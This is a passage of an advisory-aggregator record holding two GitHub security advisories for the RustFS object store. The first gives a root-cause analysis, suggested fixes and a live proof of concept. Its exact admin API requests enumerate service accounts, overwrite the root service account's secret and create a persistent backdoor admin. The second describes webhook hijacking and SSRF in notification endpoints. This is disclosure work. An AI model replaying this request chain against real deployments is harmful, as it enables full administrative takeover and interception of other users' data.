the wrong-action list bug, overwrites its secret via the ownership-free update handler, authenticates as the root user's service account, and creates a persistent backdoor admin with full RustFS administrative control.\n\n**Authorization mismatch at a glance:**\n\nExact policies attached to each test identity (retrieved from running server via `GET /admin/v3/info-canned-policy`):\n\n        legit-list-pol      -\u003e {\"Action\": [\"admin:ListServiceAccounts\"],  \"Resource\": [\"arn:aws:s3:::*\"]}\n        list-sa-probe-pol   -\u003e {\"Action\": [\"admin:UpdateServiceAccount\"], \"Resource\": [\"arn:aws:s3:::*\"]}\n        list-sa-restricted  -\u003e {\"Action\": [\"admin:UpdateServiceAccount\"], \"Resource\": [\"arn:aws:s3:::probe-scope/*\"]}\n        (zero-priv-user has no attached policy)\n\n| Identity | Attached policy | `GET /list-service-accounts?user=rustfsadmin` | Expected |\n|---|---|---|---|\n| `probe-user` | `list-sa-probe-pol` (`admin:UpdateServiceAccount`) | **200** (full SA metadata) | 403 |\n| `legit-list-user` | `legit-list-pol` (`admin:ListServiceAccounts`) | **403** AccessDenied | 200 |\n| `restricted-update-user` | `list-sa-restricted` (`admin:UpdateServiceAccount` on `probe-scope/*`) | **200** | 403 |\n| `zero-priv-user` | (none) | **403** | 403 |\n| (unauthenticated) | n/a | **403** Signature required | 403 |\n\n### Why the correct permission gets 403\n\nThe handler at line 936 calls `is_allowed` with the action `AdminAction::UpdateServiceAccountAdminAction`. The IAM engine performs an exact string match between the action in the `is_allowed` call (`admin:UpdateServiceAccount`) and the action in the caller's attached policy:\n\n- `legit-list-user` has policy action `admin:ListServiceAccounts`. This does **not** match `admin:UpdateServiceAccount`. `is_allowed` returns false. The handler returns 403. The user who holds the *correct* permission for listing service accounts is denied.\n- `probe-user` has policy action `admin:UpdateServiceAccount`. This **matches** `admin:UpdateServiceAccount`. `is_allowed` returns true. The handler returns 200. The user who holds a *different, unrelated* permission is granted access to a list endpoint.\n- `restricted-update-user` has the same action string but resource-scoped to `arn:aws:s3:::probe-scope/*`. Admin-action statements skip resource matching (`crates/policy/src/policy/statement.rs:132`: `\u0026\u0026 !self.is_admin() \u0026\u0026 !self.is_sts()`), so the resource restriction is ignored and `is_allowed` still returns true.\n\nThere is no wildcard, superset, or inheritance relationship between these two action strings. They are separate enum variants (`crates/policy/src/policy/action.rs:459-462`) with distinct `strum(serialize)` values. The IAM engine is working correctly; the handler passes the wrong action to it.\n\nRaw request/response for `legit-list-user` (the counterintuitive 403):\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  HTTP/1.1\n        Authorization: AWS4-HMAC-SHA256 Credential=legit-list-user/...\n\n        HTTP/1.1 403\n        \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cError\u003e\u003cCode\u003eAccessDenied\u003c/Code\u003e\u003cMessage\u003eaccess denied\u003c/Message\u003e\u003c/Error\u003e\n\n**Why this is not \"working as intended\":**\n- `admin:UpdateServiceAccount` and `admin:ListServiceAccounts` are distinct enum variants with distinct string representations. The codebase treats them as orthogonal permissions.\n- Three sibling list handlers in the same file (lines 658, 799, 1095) all check `ListServiceAccountsAdminAction`. Only line 936 deviates.\n- CVE-2026-22042 / GHSA-vcwh-pff9-64cc is the maintainers' own precedent: `ImportIam` checking `ExportIAMAction` was rated Medium and fixed. The same class of bug applies here.\n- A zero-privilege user (no admin policies at all) cannot exploit either vulnerability — both handlers correctly enforce their respective `is_allowed` checks. The bug is that the list handler enforces the *wrong* action constant, not that it skips enforcement entirely.\n\n## Root Cause — Vulnerability A (Wrong Action Constant)\n\n`ListServiceAccount::call` is registered for `GET /rustfs/admin/v3/list-service-accounts` at `rustfs/src/admin/handlers/service_account.rs:137-141`. The cross-user branch (entered when `?user=\u003cx\u003e` does not match the caller) checks the wrong admin action:\n\n    // rustfs/src/admin/handlers/service_account.rs:931-953  (HEAD 90e584a, identical at d4ea14c2)\n    let target_account = if query.user.as_ref().is_some_and(|v| v != \u0026cred.access_key) {\n        if !iam_store\n            .is_allowed(\u0026Args {\n                account: \u0026cred.access_key,\n                groups: \u0026cred.groups,\n                action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), // WRONG\n                bucket: \"\",\n                conditions: \u0026get_condition_values(...),\n                is_owner: owner,\n                object: \"\",\n                claims: cred.claims.as_ref().unwrap_or(\u0026HashMap::new()),\n                deny_only: false,\n            })\n            .await\n        {\n            return Err(s3_error!(AccessDenied, \"access denied\"));\n        }\n        query.user.unwrap_or_default()\n    } else if cred.parent_user.is_empty() {\n        cred.access_key\n    } else {\n        cred.parent_user\n    };\n\nThe action enum definitions are cleanly distinct at `crates/policy/src/policy/action.rs:459-464`:\n\n    #[strum(serialize = \"admin:CreateServiceAccount\")] CreateServiceAccountAdminAction,\n    #[strum(serialize = \"admin:UpdateServiceAccount\")] UpdateServiceAccountAdminAction,\n    #[strum(serialize = \"admin:RemoveServiceAccount\")] RemoveServiceAccountAdminAction,\n    #[strum(serialize = \"admin:ListServiceAccounts\")]  ListServiceAccountsAdminAction,\n\nEvery *other* list handler in the same file authorizes on the correct constant:\n\n    rustfs/src/admin/handlers/service_account.rs:658   InfoServiceAccount::call   -\u003e ListServiceAccountsAdminAction\n    rustfs/src/admin/handlers/service_account.rs:799   InfoAccessKey::call        -\u003e ListServiceAccountsAdminAction\n    rustfs/src/admin/handlers/service_account.rs:1095  ListAccessKeysBulk::call   -\u003e ListServiceAccountsAdminAction\n\nOnly `ListServiceAccount::call` at line 936 deviates. This is a typo/wiring error, not a design choice.\n\n`git blame` shows the line has been wrong since commit `0a2411f` (heihutu, 2026-03-15), the initial check-in of `service_account.rs`.\n\n## Root Cause — Vulnerability B (Missing Ownership Check in Update)\n\nService account access keys are the identifier the `UpdateServiceAccount` handler accepts via the `?accessKey=` query string. Inspecting `UpdateServiceAccount::call` at `rustfs/src/admin/handlers/service_account.rs:489-614`:\n\n    let access_key = query.access_key;                                // line 509\n    ...\n    if !iam_store.is_allowed(\u0026Args {\n        account: \u0026cred.access_key,\n        action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),\n        ...\n    }).await { return Err(s3_error!(AccessDenied, \"access denied\")); } // line 538-559\n    ...\n    let updated_at = iam_store.update_service_account(\u0026access_key, opts).await  // line 579\n        .map_err(...)?;\n\nThe handler authorizes on *possession of* `admin:UpdateServiceAccount` and **never checks** that the `?accessKey=` query parameter resolves to a service account owned by the caller. Notably, lines 522-525 contain a commented-out `get_service_account` call that would have loaded the target SA for an ownership check — it was present in the initial commit and has been commented out since:\n\n    // let svc_account = iam_store.get_service_account(\u0026access_key).await.map_err(|e| {\n    //     debug!(\"get service account failed, e: {:?}\", e);\n    //     s3_error!(InternalError, \"get service account failed\")\n    // })?;\n\nThe inner `IamSys::update_service_account` at `crates/iam/src/sys.rs:495-501` delegates to `IamCache::update_service_account` at `crates/iam/src/manager.rs:663` which loads the credentials by access-key name, verifies it is a service account, and overwrites `secret_key` — again, no ownership check:\n\n    // crates/iam/src/manager.rs:663\n    pub async fn update_service_account(\u0026self, name: \u0026str, opts: UpdateServiceAccountOpts) -\u003e Result\u003cOffsetDateTime\u003e {\n        let Some(ui) = self.cache.users.load().get(name).cloned() else {\n            return Err(Error::NoSuchServiceAccount(name.to_string()));\n        };\n        ...\n        let mut cr = ui.credentials.clone();\n        let current_secret_key = cr.secret_key.clone();\n\n        if let Some(secret) = opts.secret_key {\n            if !is_secret_key_valid(\u0026secret) {\n                return Err(Error::InvalidSecretKeyLength);\n            }\n            cr.secret_key = secret;                // \u003c-- attacker-chosen\n        }\n        ...\n\nSo a holder of `admin:UpdateServiceAccount` who knows *any* service account's access key can overwrite its secret. The list bug at line 936 hands them every access key in the cluster, including `root-sa-1`.\n\nThe two bugs together form a clean chain:\n\n1. Attacker has a single admin permission: `admin:UpdateServiceAccount`.\n2. Attacker calls `GET /v3/list-service-accounts?user=rustfsadmin` — vulnerable handler grants access.\n3. Attacker reads `accessKey=root-sa-1` out of the response.\n4. Attacker calls `POST /v3/update-service-account?accessKey=root-sa-1` with body `{\"newSecretKey\":\"...\"}` — ownership-less handler overwrites.\n5. Attacker authenticates as `root-sa-1` with the chosen secret and inherits the root user's full `admin:*` + `s3:*` authority.\n\n## Environment and Version Alignment\n\n- Image: `rustfs/rustfs:latest`, digest `sha256:74f8eaad96124c7e019bedfb892b41a9429c495f57b883182427c5e9e9d53c6a`\n- Labels: `org.opencontainers.image.version=1.0.0-alpha.91`, `org.opencontainers.image.revision=d4ea14c2ba99602314511d5862005f7b871ece37`, `org.opencontainers.image.build-type=prerelease`\n- Source verification:\n\n        $ git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p'\n                let target_account = if query.user.as_ref().is_some_and(|v| v != \u0026cred.access_key) {\n                    if !iam_store\n                        .is_allowed(\u0026Args {\n                            account: \u0026cred.access_key,\n                            groups: \u0026cred.groups,\n                            action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),\n                            bucket: \"\",\n                            ...\n\n        $ git show origin/main:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p'\n                let target_account = if query.user.as_ref().is_some_and(|v| v != \u0026cred.access_key) {\n                    if !iam_store\n                        .is_allowed(\u0026Args {\n                            account: \u0026cred.access_key,\n                            groups: \u0026cred.groups,\n                            action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),\n                            bucket: \"\",\n                            ...\n\nByte-identical. The shipped image contains the same vulnerable handler as the tip of main.\n\n## Proof of Concept (executed live)\n\n### Environment\n\n        docker run -d --name rustfs-poc --memory=2g -p 9100:9000 \\\n            -e RUSTFS_ACCESS_KEY=rustfsadmin -e RUSTFS_SECRET_KEY=rustfsadmin \\\n            rustfs/rustfs:latest\n\nRoot credentials: `rustfsadmin:rustfsadmin`.\n\n### Step 1 — Provision the probe identity\n\nThe probe policy grants exactly **one** admin action, scoped to the broadest resource. Nothing else.\n\n        {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Effect\": \"Allow\",\n              \"Action\": [\"admin:UpdateServiceAccount\"],\n              \"Resource\": [\"arn:aws:s3:::*\"]\n            }\n          ]\n        }\n\nCreation as root:\n\n        PUT /rustfs/admin/v3/add-canned-policy?name=list-sa-probe-pol        -\u003e 200\n        PUT /rustfs/admin/v3/add-user?accessKey=probe-user                   -\u003e 200  (secret: probe-secret1234)\n        PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=probe-user\u0026isGroup=false\u0026policyName=list-sa-probe-pol -\u003e 200\n        PUT /rustfs/admin/v3/add-user?accessKey=victim-user                  -\u003e 200  (no policy)\n        PUT /rustfs/admin/v3/add-service-accounts                            -\u003e 200  (creates victim-sa-1 under victim-user)\n        PUT /rustfs/admin/v3/add-service-accounts                            -\u003e 200  (creates root-sa-1 under rustfsadmin)\n\n### Step 2 — Baseline: probe-user is actually constrained\n\nConfirming `probe-user` is denied on unrelated admin endpoints so the \"200 on list-service-accounts\" is not the side effect of some ambient privilege:\n\n        GET /rustfs/admin/v3/list-users                 as probe-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/info                       as probe-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/list-canned-policies       as probe-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/kms/status                 as probe-user -\u003e 403 AccessDenied\n        PUT /rustfs/admin/v3/add-canned-policy?name=... as probe-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/list-service-accounts      as probe-user -\u003e 200 {\"accounts\":[]}  # self-scope OK\n\nThe self-scope list (no `user=` query) returns an empty array — the caller's own service account inventory, which is correctly allowed. This isolates the bug to the cross-user branch only.\n\n### Step 3 — Primary exploit: enumerate other users' service accounts\n\n        GET /rustfs/admin/v3/list-service-accounts?user=victim-user  as probe-user -\u003e 200\n        {\"accounts\":[{\"parentUser\":\"victim-user\",\"accountStatus\":\"on\",\"impliedPolicy\":true,\"accessKey\":\"victim-sa-1\",\"name\":\"sa-victim-user-victim-sa-1\",\"description\":\"probe target SA for user victim-user\",\"expiration\":null}]}\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as probe-user -\u003e 200\n        {\"accounts\":[{\"parentUser\":\"rustfsadmin\",\"accountStatus\":\"on\",\"impliedPolicy\":true,\"accessKey\":\"root-sa-1\",\"name\":\"sa-rustfsadmin-root-sa-1\",\"description\":\"probe target SA for user rustfsadmin\",\"expiration\":null}]}\n\nExposed per entry: `parentUser`, `accountStatus`, `impliedPolicy`, **`accessKey`**, `name`, `description`, `expiration`. The response does not leak secret keys or session tokens (those are cleared server-side), but it does leak the `accessKey` — the identifier that the `UpdateServiceAccount` endpoint consumes via `?accessKey=`.\n\n### Step 4 — Differential: the correct permission gets denied\n\nCreated `legit-list-user` with a policy granting only `admin:ListServiceAccounts`:\n\n        {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Effect\": \"Allow\",\n              \"Action\": [\"admin:ListServiceAccounts\"],\n              \"Resource\": [\"arn:aws:s3:::*\"]\n            }\n          ]\n        }\n\nRunning the same request:\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as legit-list-user -\u003e 403\n        \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cError\u003e\u003cCode\u003eAccessDenied\u003c/Code\u003e\u003cMessage\u003eaccess denied\u003c/Message\u003e\u003c/Error\u003e\n\nThis is the damning evidence of inversion. The handler refuses the **correct** permission (`admin:ListServiceAccounts`) and accepts the **wrong** one (`admin:UpdateServiceAccount`). There is no superset/subset relationship in the action enum; these are two distinct constants. A deployment that grants its operators `admin:ListServiceAccounts` to view the service account inventory — the intuitive and documented approach — will see every cross-user list request return 403 until this bug is fixed.\n\nThe resource-scoped variant gave the same result as the broad variant:\n\n        # Policy: admin:UpdateServiceAccount on arn:aws:s3:::probe-scope/* (unrelated to any SA)\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as restricted-update-user -\u003e 200 (same body as probe-user)\n\nResource restrictions on admin actions are skipped in `crates/policy/src/policy/statement.rs:132` (`\u0026\u0026 !self.is_admin() \u0026\u0026 !self.is_sts()`), so the bug is equally reachable by an operator whose `admin:UpdateServiceAccount` grant was scoped to a specific bucket.\n\nAnd unauthenticated requests are still rejected:\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  (no signature) -\u003e 403 \"Signature is required\"\n\nThis is an **authenticated privilege-boundary violation**, not a pre-auth bug.\n\n### Step 4b — Zero-privilege user is correctly blocked\n\nTo confirm the bug is in the action constant (not a missing check), created `zero-priv-user` with **no policies at all**:\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as zero-priv-user -\u003e 403 AccessDenied\n        POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1  as zero-priv-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/list-service-accounts  as zero-priv-user -\u003e 200 {\"accounts\":[]}  # self-scope only\n\nThe `is_allowed` check at line 936 fires and correctly blocks zero-priv-user because they have *no* admin permissions. The bug is not that the check is skipped — it is that the check uses the **wrong action constant**, so it grants access to users holding `admin:UpdateServiceAccount` (the wrong permission) and denies users holding `admin:ListServiceAccounts` (the correct permission).\n\n### Step 5 — Full chain to RustFS admin takeover (persistent backdoor)\n\nWith `accessKey=root-sa-1` known, `probe-user` (still only `admin:UpdateServiceAccount`) hijacks the root service account's secret:\n\n        POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1  as probe-user\n             body: {\"newSecretKey\":\"pwned-secret-2\"}                           -\u003e 204 NoContent\n\nThen re-signs and calls admin APIs as `root-sa-1/pwned-secret-2`:\n\n        GET /rustfs/admin/v3/list-users  as root-sa-1/pwned-secret-2 -\u003e 200\n        {\"svinfo-user\":{\"policyName\":\"serverinfo-only\",\"status\":\"enabled\",...},\n         \"probe-user\":{\"policyName\":\"list-sa-probe-pol\",\"status\":\"enabled\",...},\n         \"readonly-user\":{\"policyName\":\"readonly\",\"status\":\"enabled\",...},\n         \"victim-user\":{\"status\":\"enabled\",...}}\n\n        GET /rustfs/admin/v3/info  as root-sa-1/pwned-secret-2       -\u003e 200\n        {\"mode\":\"online\",\"backend\":{\"backendType\":\"Erasure\",\"online\":...},\"buckets\":{\"count\":...},\"services\":{...}}\n\nBoth endpoints previously returned 403 for `probe-user`. They now succeed because `root-sa-1` inherits `rustfsadmin`'s full authority.\n\nExtending the chain to a persistent backdoor, still driven by `probe-user`'s hijacked `root-sa-1` session:\n\n        PUT /rustfs/admin/v3/add-user?accessKey=backdoor-admin                 -\u003e 200  (body: {\"secretKey\":\"backdoor-secret-9\",\"status\":\"enabled\"})\n        PUT /rustfs/admin/v3/add-canned-policy?name=proof-admin-all            -\u003e 200  (body: admin:* + s3:*)\n        PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=backdoor-admin\u0026isGroup=false\u0026policyName=proof-admin-all -\u003e 200\n\nDirect authentication as the new admin (no further reliance on the hijacked SA):\n\n        GET /rustfs/admin/v3/list-users  as backdoor-admin/backdoor-secret-9   -\u003e 200 (same full user dump)\n        PUT /proof-admin-bucket          as backdoor-admin/backdoor-secret-9   -\u003e 200 (new bucket created on the S3 plane)\n\nThe attacker now owns a persistent admin identity with `admin:*` and `s3:*` that will survive secret rotations on `root-sa-1`. Starting identity was a user granted exactly one admin action.\n\n### Full PoC scripts\n\nRunnable top-to-bottom against a fresh `rustfs/rustfs:latest` container. Each script prints raw HTTP status codes and response bodies.\n\n- `poc/01_setup_probe_user.py` — create policies, users, service accounts.\n- `poc/02_baseline_probe.py` — 403/200 differential on unrelated admin endpoints.\n- `poc/03_exploit.py` — primary ListServiceAccount enumeration.\n- `poc/04_escalate_takeover.py` — hijack root-sa-1 and prove admin calls.\n- `poc/05_full_root_compromise.py` — end-to-end chain including backdoor-admin creation and new bucket.\n- `poc/06_differential_and_resource.py` — legit-list-user 403 and resource-scoped 200.\n\n## Impact\n\n1. **Full RustFS administrative takeover (Confidentiality: High, Integrity: High, Availability: High).**\n   A user with a single admin permission (`admin:UpdateServiceAccount`) chains the list bug with the ownership-free `UpdateServiceAccount` handler to overwrite any service account's secret — including the root administrator's — and inherit full `admin:*` + `s3:*` authority over the RustFS deployment. Demonstrated live: probe-user → list → hijack root-sa-1 → create persistent backdoor-admin → create bucket.\n\n2. **Authorization inversion on a core admin endpoint (Integrity).**\n   Users granted the intended `admin:ListServiceAccounts` permission receive 403 on cross-user list requests. A rustfs deployment that issues `admin:ListServiceAccounts` to its operators (the obvious and documented interpretation of the action name) is silently broken until this is fixed.\n\n3. **Cross-user service-account inventory disclosure (Confidentiality: High).**\n   Even absent the update-ownership gap, the bug exposes every service account's access key, owning principal, name, description, account status, and expiration to any `admin:UpdateServiceAccount` holder. This maps the full service-account topology of the cluster and identifies which account to target for a secret rotation attack.\n\n4. **Resource-scoped policies provide no mitigation (Integrity).**\n   `statement.rs:132` skips resource matching for admin statements, so restricting `admin:UpdateServiceAccount` to a specific bucket ARN (the usual pattern for bounded delegation) gives a false sense of isolation and does not reduce the blast radius of this bug.\n\n## Suggested Fix\n\nThe minimal, correct fix is a one-line change at `rustfs/src/admin/handlers/service_account.rs:936`:\n\n    // rustfs/src/admin/handlers/service_account.rs:936\n    -                    action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),\n    +                    action: Action::AdminAction(AdminAction::ListServiceAccountsAdminAction),\n\nThis brings `ListServiceAccount` in line with the three sibling handlers (lines 658, 799, 1095) that correctly enforce `ListServiceAccountsAdminAction`, and restores the documented meaning of the `admin:ListServiceAccounts` permission for operators who rely on it.\n\n### Recommended follow-up (separate but related)\n\nEven after this fix, `UpdateServiceAccount::call` at `rustfs/src/admin/handlers/service_account.rs:489-614` will still lack any check that the target `?accessKey=` belongs to the caller (or the caller's parent), so any holder of `admin:UpdateServiceAccount` who can otherwise obtain the access key of a higher-privileged service account can still hijack it. Consider adding an ownership precondition inside the handler before calling `iam_store.update_service_account`:\n\n    let target = iam_store.get_service_account(\u0026access_key).await\n        .map_err(|e| map_service_account_lookup_error(e, \"get service account failed\"))?;\n    let caller_parent = if cred.parent_user.is_empty() { cred.access_key.as_str() } else { cred.parent_user.as_str() };\n    if target.0.parent_user != caller_parent \u0026\u0026 !is_owner {\n        // Only root or the parent user should be able to mutate this SA.\n        // (Or additionally require a dedicated admin action granted to full admins.)\n        return Err(s3_error!(AccessDenied, \"access denied\"));\n    }\n\nThis additional check closes the secret-rotation primitive for non-root holders of `admin:UpdateServiceAccount`. It is outside the strict scope of the line-936 typo, but the live PoC shows it is the mechanism by which information disclosure escalates to full administrative takeover, so fixing both in one advisory avoids leaving a usable primitive in place.\n\n## Self-Review\n\n- **Is this by-design?** No. The three sibling list handlers at lines 658, 799, and 1095 all enforce `ListServiceAccountsAdminAction`. The action enum has distinct `admin:UpdateServiceAccount` and `admin:ListServiceAccounts` strings with no wildcard relationship. There is no comment, test, or docstring suggesting the deviation at line 936 is intentional. CVE-2026-22042 / GHSA-vcwh-pff9-64cc (`ImportIam` using `ExportIAMAction`) is the maintainers' own precedent that this class of bug is treated as a real security issue.\n- **Reachability?** Proven live on `rustfs/rustfs:latest` revision `d4ea14c2`. Response bodies captured in the report above and in `poc/` logs.\n- **Is there upstream routing that enforces admin?** No. `S3Router::register` dispatches directly from `service_account.rs:137-141` into `ListServiceAccount::call`; the only authorization is the `is_allowed` call at line 931-953. Confirmed by the 200 return for `probe-user` and the 403 return for `legit-list-user` on the same path.\n- **Prior art?** No existing rustfs advisory covers this handler. `CVE-2026-22042` is the same *class* of bug in a different handler; `CVE-2026-22043` is a `deny_only` short-circuit bug in the same file but a completely different code path. Both are explicitly distinct from the line 936 typo.\n- **Is the docker image the same code as main?** Yes. Image label `org.opencontainers.image.revision=d4ea14c2`; `git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs` at lines 931-960 is byte-identical to `git show origin/main:rustfs/src/admin/handlers/service_account.rs`. Re-verified on 2026-04-09 at HEAD `90e584a` — file unchanged since initial commit `0a2411f`.\n  - The commented-out ownership check at lines 522-525 of `UpdateServiceAccount::call` demonstrates the developer was aware an ownership check belonged there but left it disabled. This is not a design decision — it is incomplete implementation that this report's chain exploits.\n- **Honest limitations:**\n  - The primary exploit requires an authenticated principal with `admin:UpdateServiceAccount`. It is not pre-auth.\n  - Secret keys of the enumerated service accounts are NOT returned by the list handler (they are explicitly cleared elsewhere). Only the access key is disclosed. The escalation to RustFS admin relies on the *Update* path to overwrite the secret, not on reading a leaked secret.\n  - The full administrative takeover chain depends on the separate `UpdateServiceAccount` ownership gap. If a reviewer considers that gap out of scope for this report, the line-936 typo on its own is best-rated as **Medium** cross-user information disclosure (`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` = 6.5). The live PoC and differential stand independent of that scoping.\n  - The differential (legit-list-user → 403, probe-user → 200) isolates the cause to the handler's action constant and is reproducible in seconds against a fresh container.\n\n## Resources\n\n- Vulnerable file in image: `rustfs/src/admin/handlers/service_account.rs` @ `d4ea14c2ba99602314511d5862005f7b871ece37`\n- Vulnerable file at HEAD: `rustfs/src/admin/handlers/service_account.rs` @ `90e584a` (file unchanged since `0a2411f`)\n- Incorrect action at line 936: `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L931-L953`\n- Correct action at line 658 (`InfoServiceAccount`): `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L658`\n- Correct action at line 799 (`InfoAccessKey`): `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L799`\n- Correct action at line 1095 (`ListAccessKeysBulk`): `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L1095`\n- AdminAction enum: `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/policy/src/policy/action.rs#L457-L464`\n- UpdateServiceAccount handler (ownership gap): `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L489-L614`\n- IamCache::update_service_account: `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/iam/src/manager.rs#L663`\n- Admin statements skip resource matching: `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/policy/src/policy/statement.rs#L132`\n- rustfs security policy: `https://github.com/rustfs/rustfs/security/policy`\n- Prior art (same class, different handler): `CVE-2026-22042` / `GHSA-vcwh-pff9-64cc`\n\n\nKoda Reef","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-05T20:14:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/rustfs/rustfs/security/advisories/GHSA-mm2q-qcmx-gw4w","https://github.com/advisories/GHSA-mm2q-qcmx-gw4w"],"source_kind":"github","identifiers":["GHSA-mm2q-qcmx-gw4w"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T21:00:09.283Z","updated_at":"2026-10-05T15:03:38.074Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbTJxLXFjbXgtZ3c0d84ABWM4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tbTJxLXFjbXgtZ3c0d84ABWM4","packages":[{"ecosystem":"cargo","package_name":"rustfs","versions":[{"first_patched_version":"1.0.0-alpha.98","vulnerable_version_range":"\u003c= 1.0.0-alpha.91"}],"purl":"pkg:cargo/rustfs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbTJxLXFjbXgtZ3c0d84ABWM4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZmNxLTRnanItNmdqbc4ABVpl","url":"https://github.com/advisories/GHSA-pfcq-4gjr-6gjm","title":"RustFS: Missing admin authorization on notification target endpoints allows unauthenticated configuration of event webhooks","description":"# Missing Admin Auth on Notification Target Endpoints in RustFS\n\n\n### Finding Summary\n\nAll four notification target admin API endpoints in `rustfs/src/admin/handlers/event.rs` use a `check_permissions` helper that validates authentication only (access key + session token), without performing any admin-action authorization via `validate_admin_request`. Every other admin handler in the codebase correctly calls `validate_admin_request` with a specific `AdminAction`. This is the only admin handler file that skips authorization.\n\nA non-admin user can overwrite a shared admin-defined notification target by name, causing subsequent bucket events to be delivered to an attacker-controlled endpoint. This enables cross-user event interception and audit evasion.\n\n### What Was Proven Live\n\n1. **Authorization bypass on all four endpoints** (03_readonly_user_bypass.py)\n   - PUT, GET list, GET arns, DELETE all return 200 for readonly-user\n   - Control routes (list-users, kms/status) correctly return 403\n   - Unauthenticated requests correctly rejected (403 Signature required)\n\n2. **SSRF via health probe** (04_ssrf_listener_landing.py)\n   - HEAD request from rustfs container to attacker-controlled listener\n   - No host validation: only scheme check (http/https)\n\n3. **Target hijacking and event exfiltration** (05_target_hijacking.py, 06_full_event_exfil.py)\n   - Readonly-user overwrites admin-configured target URL by name\n   - Subsequent S3 events delivered to attacker-controlled endpoint\n   - Captured event body includes object keys, bucket names, user identities, and request metadata\n\n4. **Audit evasion** (05_target_hijacking.py)\n   - Readonly-user can delete unbound targets\n   - Readonly-user can overwrite bound targets (silently redirecting events)\n\n### Escalation Vectors Tested But Not Viable\n\n1. **Self-referencing webhook to admin API** (13_self_referencing_test.py)\n   - Webhook sends unsigned POST with event JSON body\n   - Admin endpoints require SigV4 auth -- unsigned request rejected\n   - \"Confused deputy\" via self-referencing does NOT work\n\n2. **Protocol smuggling via non-HTTP targets**\n   - Only 2 target types implemented: webhook and MQTT (`event.rs:613` enforces this)\n   - No Redis, Kafka, AMQP, or other protocol targets exist\n   - CRLF injection in webhook config fields sanitized by reqwest\n   - MQTT uses rumqttc (pure Rust binary protocol client), no raw TCP injection\n\n3. **MQTT target for RCE**\n   - No unsafe code in MQTT handler\n   - rumqttc 0.29.0 has no known public CVEs\n   - No Command::new, template engines, or deserialization of broker responses\n\n4. **Unauth access**\n   - Endpoints correctly reject unauthenticated requests (403)\n   - Endpoints correctly reject invalid credentials (403)\n\n### Prior Art\n\nNo existing advisory covers notification target endpoints. 11 published GHSAs on rustfs/rustfs cover different handlers. Closest:\n- CVE-2026-22042 (ImportIam wrong action constant) -- same bug class, different file\n- CVE-2026-22043 (deny_only short-circuit) -- different bug class\n\n### Recommendation\n\nSubmit via GitHub PVR. The finding is well-supported with live PoC, code references, and clear root cause. The fix is straightforward (add `validate_admin_request` calls to event.rs handlers). Core submission should reference 2-3 focused PoC scripts (readonly bypass, target hijack, event exfil), not the full set of 13 exploratory scripts.\n\n\nKoda Reef\n\n### Patch\nThis issue has been patched in version 